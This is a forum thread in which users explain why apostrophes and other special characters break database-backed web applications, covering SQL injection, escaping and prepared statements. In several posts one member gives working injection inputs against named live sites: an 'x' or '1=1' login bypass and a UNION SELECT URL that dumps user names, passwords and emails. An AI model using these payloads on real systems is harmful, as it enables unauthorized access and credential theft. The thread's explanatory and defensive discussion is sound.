Special Characters That Crash Programs. Why?

[H3LL]

By special characters I mean things such as @ ' ( % $ + etc.

Not really that special and why the fondness for the good old apostrophe and plus sign I don't know.*

In some programs using a database (yes, I'm looking at you MySQL - Don't hide), as well as a few others, entering a special character in a text box, such as the humble apostrophe, causes a crash, hang, error message or, perhaps the most intriguing, truncates the rest of the sentence so you can't read the last bit.

It's not exclusive to Apache, PHP, MySQL combo's (I've seen it elsewhere away from the web) but this is where I see it most often.

My guess is that it's lazy programming but not sure.

Is it?

Is there an easy fix that I can suggest to developers of these special character hating programs?

Current grumbles on forums "supporting" such programs are often met with devastating inaction.

Where have you experienced such issues - if at all?

Thanks



* Users on my websites where the + & and ' mess up your carefully crafted responses feel free to mock. :D
.

[LordoftheLeftHand]

Those characters should be filtered in any web application, if they are not it might be possible to preform an injection attack on the application. The basic idea would be to try to encapsulate code into a field with those symbols and trick the application into executing it.

[laca]

Yes, they are usually due to laziness and/or ignorance on the programmer's part. The most often encountered problem is the building of query strings, something like "SELECT uid FROM users WHERE password='%s'". Now, if %s has an apostrophe and it isn't escaped, there will be trouble. Possibly an exploit of some form.

"Validate and properly escape all user data". This is the advice you could give.

[Terry]

http://xkcd.com/327/

[arthwollipot]

XKCD, as usual, for the win.

I was today informed of a bug in the software we use at work - any incident ticket that contains the ^ character will fail to be recognised by the B2B.

Okay, I can explain what that means if you really want me to.

[H3LL]

Am I getting this correctly?

In the incidences where special characters do something odd to the programme they have not validated and properly escaped all user data and when it truncates a sentence they have (but over zealously) validated and properly escape all user data?

One example I have is the forums, like here, are quite happy to have any character entered but the ChatBox hates them even though they both use the same MySQL database.

Why OK in the forums and not in the ChatBox?

Please clarify.

Ta!

[MortFurd]

Am I getting this correctly?

In the incidences where special characters do something odd to the programme they have not validated and properly escaped all user data and when it truncates a sentence they have (but over zealously) validated and properly escape all user data?

One example I have is the forums, like here, are quite happy to have any character entered but the ChatBox hates them even though they both use the same MySQL database.

Why OK in the forums and not in the ChatBox?

Please clarify.

Ta!
It isn't the database, its the goober writing the application.

Commands sent to database servers usually have strings (text) enclosed in single quotes 'like this.' If you put one of those characters in a string (like your password) then the database software will interpret that as the end of a string and truncate the rest - possible tripping over the truncated rest and getting tongue tied.

The times when you see your input being truncated could be either from the database truncating it because of the single quote or because a (almost clueful) programmer tried to filter your input and did it wrong.


Besides this kind of thing being a nuisance for the user, it is also a major security hole in the application. If you don't filter the input that I make, and you feed it to your SQL server, then there's a very good chance that I (or one of my evil compatriots) could add an SQL command to my input and cause you SQL server to do all kinds of things- like dump all the credit card numbers in the DB or (just to be mean) delete all rows in the database table.

If you are having trouble with your input getting whacked because of special characters, then you need to get whoever wrote the application to fix it before something worse happens.

ETA:
XKCD for the Win!!

[H3LL]

I did understand it's not the database but the method that data is is passed to it - My wording was poor but thanks for a helpful clarification.

If you are having trouble with your input getting whacked because of special characters, then you need to get whoever wrote the application to fix it before something worse happens.

Agreed, but I got this:

I believe the issue is the charcter set for DB input, the event entry is writen in text format which should allow special character but it doesn't want to work, I am thinking if the main setup was changed and the event input was (int) or (varchar) then it might accept the special characters. however this would require rewriting ..... to change the DB setup for this plugin

Rewriting - Whoda thunk?. :D

Open source does have its issues. ;)




Meanwhile, "Validate and properly escape all user data" throws up quite a lot of stuff but most is too code intensive for me to evaluate and pass on.

My little-knowledge-is-a-dangerous-thing seems to think that this:

http://www.digifuzz.net/archives/2007/08/validate-and-escape-data-to-prevent-sql-injection/

also linking to this:

http://www.php-mysql-tutorial.com/wikis/php-tutorial/form-validation-using-php.aspx

could be useful.

Thoughts? Suggestions?

Ta.

[Terry]

The essence of the problem is that sometimes, things you type in get evaluated as computer code, rather than strictly as data. The commonest example is inserting text into the database, where an SQL string gets formed partly from what you typed in, and then executed. If what you typed in is not properly sanitized for the context in which it is going to be executed, then errors occur, and potential security problems arise. The classic example is an apostrophe in a string that's being inserted into the database, because in SQL, an apostrophe terminates a string.

Hence the "Little Bobby tables" joke.

[H3LL]

My guess is that it's lazy programming but not sure.

Well you have all confirmed that my guess was not too far from correct and I thank you.

However, I suspect "you're a lazy programmer" or similar is not going to get me too far with resolving the issue.

Is there a way I can be turned from being a whining user to a whining user with a solution?


:cool:


.

[Terry]

Send them to this, with particular reference to the "parameterized statements" section:

http://en.wikipedia.org/wiki/Sql_injection

[ddt]

Well you have all confirmed that my guess was not too far from correct and I thank you.

However, I suspect "you're a lazy programmer" or similar is not going to get me too far with resolving the issue.

Is there a way I can be turned from being a whining user to a whining user with a solution?


The gist of the wiki-article Terry linked to is that all programming languages that are used for such web applications (PHP, Perl, Java, you name it) have library functions that are designed just for that. When you look at the PHP example, it starts off with the statement
$stmt = $db->prepare("SELECT priv FROM testUsers WHERE username=:username AND password=:password");
There, ":username" is a placeholder for a string that must later be filled in. That is done with the second statement:
$stmt->bindParam(':username', $user);
and this function 'bindParam' will check the string contained in the variable $user for all kind of dangerous things and change it so it's safe.

A lazy programmer would just paste the string contained in $user into the big SQL statement (the "SELECT ..." string). As you can see, it's hardly more work to do it right. I think the qualification "ignorant programmer" would be more apt.

[Almo]

It's not the same thing but it's interesting:

We almost shipped My Word Coach DS (US version) with a crash bug. We couldn't figure it out. It showed up seemingly randomly in various minigames at weird times. It seemed like a memory leak, but it wasn't. I got lucky and noticed the common mode: they involved the word cliche. It was because the US version didn't have special characters like é, and cliche is really spelled "cliché". When the word renderer hit the "é", it would crash. :)

[Lensman]

The Compant that I work for looks after a number of stores, (point of sales stuff, back office etc), the app that we use on the tills can read barcodes with a laser scanner, sometimes the scanner will either get some electronic noise in it's output or have a bad scan for some other reason, when this happens a bad/invalid character is entered into the EAN code box - this causes the app to hang, the only way out is for me (or one of my colleagues) to connect to the till (via pcanywhere/realvnc) & send a ctrl-alt-del command to bring up the Task Manager (yep, we use winxp) & close the app then restart it for the till to continue working.

[shadron]

A lazy programmer would just paste the string contained in $user into the big SQL statement (the "SELECT ..." string). As you can see, it's hardly more work to do it right. I think the qualification "ignorant programmer" would be more apt.

Yeah, and he's probably a Bigfoot-hunting creationist, too. :)

[ddt]

It's not the same thing but it's interesting:

We almost shipped My Word Coach DS (US version) with a crash bug. We couldn't figure it out. It showed up seemingly randomly in various minigames at weird times. It seemed like a memory leak, but it wasn't. I got lucky and noticed the common mode: they involved the word cliche. It was because the US version didn't have special characters like é, and cliche is really spelled "cliché". When the word renderer hit the "é", it would crash. :)

Different character encodings (http://en.wikipedia.org/wiki/Character_encoding) is a whole other can of worms, indeed! I'm surprised there are any applications around that are 7-bit ASCII only, as you describe. Or was it a mix-up between Latin-1 and UTF-8?

An annoying case of mixup of character encoding is the wealth of websites out there that claim to use Latin-1 encoding, but in fact use Win-1252 encoding. They're slightly different.

[Molinaro]

I confess that the 1st web site I made had this very bug!

It was an Order Entry/Reporting site for courier companies. It ran smooth for 1.5 years with 6 companies using it when suddenly a bug popped up.

I didn't handle single quotes properly, and it took that long before anyone ever entered one on an order, triggering an SQL error message.

[not daSkeptic]

Another one to look out for is string trimming (i.e. removal of leading and trailing spaces). Years ago, we had this order-entry application that, for one particular person only, would consistently complain that customers' email addresses contained invalid characters (part of the aforementioned filtering/validation). It took forever to figure out that she was unknowingly entering a space as the first character. From that point forward, every input field was automatically trimmed prior to validation.

[CelticRose]

Well, this thread certainly explains a problem I had at one of my previous jobs.

Whenever I attempted to look up a name that contained an apostrophe in the student database I would get an error message. I actually had to use a wildcard character in place of the apostrophe, e.g. O%Neil.

Now I have better understanding of what caused that. :)

[DevilsAdvocate]

Well, this thread certainly explains a problem I had at one of my previous jobs.

Whenever I attempted to look up a name that contained an apostrophe in the student database I would get an error message. I actually had to use a wildcard character in place of the apostrophe, e.g. O%Neil.

Now I have better understanding of what caused that. :)Yeah. You just needed to look for: O''Neil

SQL doesn't like special characters-especially apostrophes.

[CelticRose]

Yeah. You just needed to look for: O''Neil
Honestly, I think that database would have simply said "no results" if I had tried that. Using the wildcard, i.e. %, worked well enough.

I've just realized that I may have misread your post. Did you type 1 quote or 2 apostrophes? If it was the latter, I get it now and I withdraw my comment.

[Wudang]

This has drifted into a discussion of RDBMS which is kind of a special case. Any time you write a program you need to understand what data types your language and the compiler support and how you can ensure that any data input to you program matches those criteria. A pal used to write code for British Steel and he was assured that the guys using that would type (rule 10) (rule 10) and then throw the keyboard in the furnace.
XKCD is right - always always check your input

[arthwollipot]

XKCD is rightThis is my mantra.

[Paul C. Anagnostopoulos]

This is what we get for using text-based languages as interfaces. But you'd think that people would have learned to properly escape and de-escape strings, oh, maybe 40 years ago.


SQL doesn't like special characters-especially apostrophes.
That must explain the missing apostrophe in your forum name. :D

This is what we get for using languages that were designed by people who don't understand language design. Really folks, it's not all the tough.

We should be using Perl instead. Yeah, that's it.

~~ Paul

[Molinaro]

Honestly, I think that database would have simply said "no results" if I had tried that. Using the wildcard, i.e. %, worked well enough.

I've just realized that I may have misread your post. Did you type 1 quote or 2 apostrophes? If it was the latter, I get it now and I withdraw my comment.

That was 2 in a row they typed. When SQL sees two in a row I takes it to mean 1, within the quotes that delineate the string.

ie: stringVariable = 'Paul''s house'

To parse an input string for single ' and replace with two in a row '' you would use a command looking like: fixedString = replace(orignalString, '''', '''''') :)

The 4 ' in a row is actualy read as 1 between 2 others.
The 6 ' in a row is read as 2 in a row, between 2 others.

[Paul C. Anagnostopoulos]

Doubling the quote character to include it in the string should have died long ago with Fortran. Escapes are the way to go.

~~ Paul

[Xulld]

Some applications have to create folders in windows, thats just one example of many.

Try to create a folder with any special characters, or even a space at the front, or a period at the end.

Microsoft, SQL, ect have limitations built in. So many many many programs exhibit these symptoms becuase of either the OS, DB, or scripting language share these limitations.

[CORed]

It is definitely lazy programming. It happens when the content of a text box or input field is fed directly into an SQL query or other code without any filtering and validation. Such sites are likely to be vulnerable to "SQL injection" or other code injection attacks. If you know what you are doing, you may be able to access data you shouldn't see, or otherwise compromise the security of the site.

[logical muse]

Here's an example of an sql injection vulnerability in the wild.

Go to: http://www.activewebsoftwares.com/demoactivetrade/account.asp

Try and sign in. It won't let you, as whatever credentials you provide are incorrect.

Now try this:

E-mail Address: x' or '1=1
Password: x' or '1=1

[Paul C. Anagnostopoulos]

What the heck is going on with that, Logical?

~~ Paul

[logical muse]

What the heck is going on with that, Logical?

~~ Paul

Well, without having access to the source code I can only speculate.

Assuming that the sql query in question looks something like:

select userid from users where email='$email' and password='$password'

we can substitute my values, giving:

select userid from users where email='x' or '1=1' and password='x' or '1=1'

Given that the number 1 does indeed equal the number 1, the conditions are satisfied, and the query will return a list of all registered users.

[Paul C. Anagnostopoulos]

Well, without having access to the source code I can only speculate.
Proving once again that languages with substitution should allow only substitution of complete strings or substitution within a string, but not across a string. We learned this maybe 30 years ago.

Is it Donald Knuth who complains that software developers do not have good historical knowledge? Yeah, I think so.

~~ Paul

[Wudang]

Is it Donald Knuth who complains that software developers do not have good historical knowledge? Yeah, I think so.

~~ Paul
Who remembers that far back? ;)

A colleague worked on the patents committee for a software lab we worked at and he saw an awful lot of "re-inventing the wheel" where people submitted ideas for patents that had prior art which was decades old and widespread. E.g. one that was basically just a restatement of alternate indexes on files like VSAM KSDSes.

[Paul C. Anagnostopoulos]

A colleague worked on the patents committee for a software lab we worked at and he saw an awful lot of "re-inventing the wheel" where people submitted ideas for patents that had prior art which was decades old and widespread. E.g. one that was basically just a restatement of alternate indexes on files like VSAM KSDSes.
The problem is that most programmers consider themselves engineers/artists, but there is an awful lot of math/science in computer science, with its associated theory. Consider writing a compiler. If you don't study the literature seriously for awhile before you start, you are going to reinvent 50 wheels.

And, of course, one of my favorite quotes:

Any sufficiently complicated C or Fortran program contains
an ad hoc informally-specified bug-ridden slow implementation
of half of Common Lisp. ---Philip Greenspun

[logical muse]

And, of course, one of my favorite quotes:

Any sufficiently complicated C or Fortran program contains
an ad hoc informally-specified bug-ridden slow implementation
of half of Common Lisp. ---Philip Greenspun

As opposed to any sufficiently complicated Common Lisp program, which contains an ad hoc informally-specified bug-ridden slow implementation of all of Common Lisp.

Kidding! :p I almost agree with this quote. In fact some of my C programs explicitly contain a mini-Lisp of my own design.

But we're getting off topic. We're supposed to be talking about how apostrophes screw with sql. I can show more examples if anyone is interested.

[Paul C. Anagnostopoulos]

But we're getting off topic. We're supposed to be talking about how apostrophes screw with sql. I can show more examples if anyone is interested.
Yes, please.

~~ Paul

[H3LL]

Yes, please.

~~ Paul

Me too please.

[logical muse]

Yes, please.

~~ Paul

Me too please.

OK.

This company sells a turnkey arcade solution, as indicated by their domain name: http://www.turnkeyarcade.com/

Unfortunately, their code is vulnerable to a number of exploits. I'll describe and demonstrate one here.

They have an online demo, so that you can see what their software does before you buy it. The demo is here: http://www.turnkeyarcade.com/demo/

In the demo, if you hover your mouse over any of the menu items, you'll see a URL that looks like this:

http://www.turnkeyarcade.com/demo/index.php?action=browse&id=13
The "id=13" indicates which category, ie Racing, Sports, Puzzle, etc.

Now, this value of 13, what else can we put in there? Can we, instead of a number, supply some code? And if we did, what would happen?

Let's take a look. Instead of just the number 13, our new value is the string: 13+union+select+1,2,concat(0x3a,username,0x3a,pass word,0x3a),4+from+users--
The plus signs are spaces really, just formatted for URL strings.

Here's the whole URL:

http://www.turnkeyarcade.com/demo/index.php?action=browse&id=13+union+select+1,2,concat(0x3a,username,0x3a,p assword,0x3a),4+from+users--

Here it is as a clickable link:

http://www.turnkeyarcade.com/demo/index.php?action=browse&id=9+union+select+1,2,concat(0x3a,username,0x3a,pa ssword,0x3a),4+from+users--

Oh dear, we've just got a list of all the users and their passwords.

Want their email addresses? Just replace the word "password" in the link with "email":

http://www.turnkeyarcade.com/demo/index.php?action=browse&id=9+union+select+1,2,concat(0x3a,username,0x3a,em ail),4+from+users--

What's going on here? I don't have access to the source code, but it's easy to figure out the exploit. The query probably looks like:
select * from games where id=$n

With the value we supply, it evaluates to:
select * from games where id=13 union select 1, 2, concat(0x3a,username,0x3a,password,0x3a,email), 4 from users--

We've piggybacked an extra select query onto the original one. Oh, and notice in this case we didn't even need the apostrophe!

[logical muse]

Here's another one using the apostrophe.

Go to this login page:

http://www.logoshows.com/bbs/globepersonnel_login.asp

Your login attempts will fail. Try it.

Now, use the following values:

Username: x' or '1=1
Password: x' or '1=1

Congratulations, you've just logged in as an admin.

[Paul C. Anagnostopoulos]

Holy sweet mother. How do you find these examples, logical?

~~ Paul

[logical muse]

Holy sweet mother. How do you find these examples, logical?

~~ Paul

That would be telling, now, wouldn't it? :p

eta: OK, I'll tell. Just google phrases like: sql injection exploits

[H3LL]

This is scary stuff - I rely on coders coding correctly as I'm not a coder myself.

I guess this is the problem with open source software - The training just isn't there and when challenged, all I got was excuses. A bit like talking to a fundie.

[logical muse]

This is scary stuff - I rely on coders coding correctly as I'm not a coder myself.

I guess this is the problem with open source software - The training just isn't there and when challenged, all I got was excuses. A bit like talking to a fundie.

Please don't assume that this type of problem is limited to open source software! The opposite, in fact, is closer to the truth.

Those examples I provided were commercial, not open source, software.

[Wudang]

Indeed, I've had the same thing talking to senior programmers in a big company - "that was written by a contractor who left and nobody understands it".
Yes, you don't understand it because it's crap at the latest strictest crap standard.

In the SQL cases above there is a venerable technique called regular expressions which allows you to do things like break the URL into nice little chunks and if you're expecting a number stop at the first non-number. Whole books are written about regular expressions (mine has an owl on the spine). My text editor supports it for making changes for goodness sake.

One problem is that a lot of web designers are, as someone said, interior decorators with a keyboard.

[logical muse]

Perhaps it might be instructive if I post the methods that developers can use to avoid these problems.

In the case of the example where we piggybacked a select query via a union, relying on the fact that a numeric input value was not being sanitised, all that is necessary is to ensure that the supplied value is indeed numeric:
$n = intval($suppliedvalue); // convert to numeric value
$query = "select * from games where id=$n";

See how simple that is? If you prefer, you can do this:
if (is_numeric($suppliedvalue))
{
$n = intval($suppliedvalue); // convert to numeric value
$query = "select * from games where id=$n";
}

For the examples where we use a username and password of x' or '1=1, the simplest way of protecting against sql injection is to make sure you escape your input strings, like this:
$clean_email = mysql_real_escape_string(trim($email));
$clean_password = mysql_real_escape_string(trim($password));
$query = "select userid from users where email='$clean_email' and password='$clean_password'";

There are other methods, but this at least will offer some protection.

[a_unique_person]

The best way to avoid the problem is to never use literal strings for such queries.

[Paul C. Anagnostopoulos]

In the SQL cases above there is a venerable technique called regular expressions which allows you to do things like break the URL into nice little chunks and if you're expecting a number stop at the first non-number. Whole books are written about regular expressions (mine has an owl on the spine). My text editor supports it for making changes for goodness sake.
Just use REs to check the user input before you [generic you] go tossing it into some SQL query or substituting it in code or building a command with it.

It's called input checking. Cobol programmers knew the value of it in 1960.

Also, I know it's big fun, but stop allowing every special character and its mother in things like user names, passwords, file names, etc. Yes, yes, I know this makes me a Luddite.

~~ Paul

[a_unique_person]

Just use REs to check the user input before you [generic you] go tossing it into some SQL query or substituting it in code or building a command with it.

It's called input checking. Cobol programmers knew the value of it in 1960.

Also, I know it's big fun, but stop allowing every special character and its mother in things like user names, passwords, file names, etc. Yes, yes, I know this makes me a Luddite.

~~ Paul

You don't have to do any of that. You can create queries that use parameters that cannot possibly interpreted as code. I don't know if MySQL gives you that option, but I know there are other databases that give you that option.

[logical muse]

The best way to avoid the problem is to never use literal strings for such queries.

You can create queries that use parameters that cannot possibly interpreted as code. I don't know if MySQL gives you that option, but I know there are other databases that give you that option.

I knew this would come up. ;)

MySQL does, since version 4.1, I believe. The current version is 5.4.

I agree with your suggestion to avoid string literal queries, however I wanted to show that even when they are used, it is easy to avoid sql injections.

It's important, especially when sites are hosted on shared servers that are still running old versions of PHP and MySQL, that developers are aware of these types of exploits and how to avoid them. Sometimes you can't control which versions of PHP and MySQL you get.

eta: I found the documentation on MySQL "prepared statements":

Prepared statements can help increase security by separating SQL logic from the data being supplied. This separation of logic and data can help prevent a very common type of vulnerability called an SQL injection attack. Normally when you are dealing with an ad hoc query, you need to be very careful when handling the data that you received from the user. This entails using functions that escape all of the necessary trouble characters, such as the single quote, double quote, and backslash characters. This is unnecessary when dealing with prepared statements. The separation of the data allows MySQL to automatically take into account these characters and they do not need to be escaped using any special function.
http://dev.mysql.com/tech-resources/articles/4.1/prepared-statements.html

[Paul C. Anagnostopoulos]

You don't have to do any of that. You can create queries that use parameters that cannot possibly interpreted as code. I don't know if MySQL gives you that option, but I know there are other databases that give you that option.
I was talking more generally. I'm sure there are ways of writing SQL so they are not vulnerable to that sort of nonsense.

I love it when I get files with slashes in their names. I love it when I get two domain names that differ only by punctuation.

~~ Paul

[ddt]

You don't have to do any of that. You can create queries that use parameters that cannot possibly interpreted as code. I don't know if MySQL gives you that option, but I know there are other databases that give you that option.

Whether the database supports it is not even really relevant. The database library of your favourite language should support it. With Perl DBI, I can make an SQL statement with ? in the place of parameters. When I fill in actual values, the DBI library will check and change the strings I supply as needed. Whether the DBI library can send the parameterized statement in advance to the database is not important for the result, save for performance issues. Either case, I get the right results without security issues.

I'd be very surprised if there's a language out there which doesn't offer the same feature.

[Wudang]

And people try to tell me that binding a COBOL module in DB2 and loading the DBRM is bad thing.

[six7s]

Holy sweet mother. How do you find these examples, logical?By avoiding sunlight, fruit, vegetables and sex with other people





:p

[logical muse]

By avoiding sunlight, fruit, vegetables and sex with other people
Ouch!

[arthwollipot]

In the SQL cases above there is a venerable technique called regular expressions which allows you to do things like break the URL into nice little chunks and if you're expecting a number stop at the first non-number. Whole books are written about regular expressions (mine has an owl on the spine). My text editor supports it for making changes for goodness sake.http://xkcd.com/208/

:D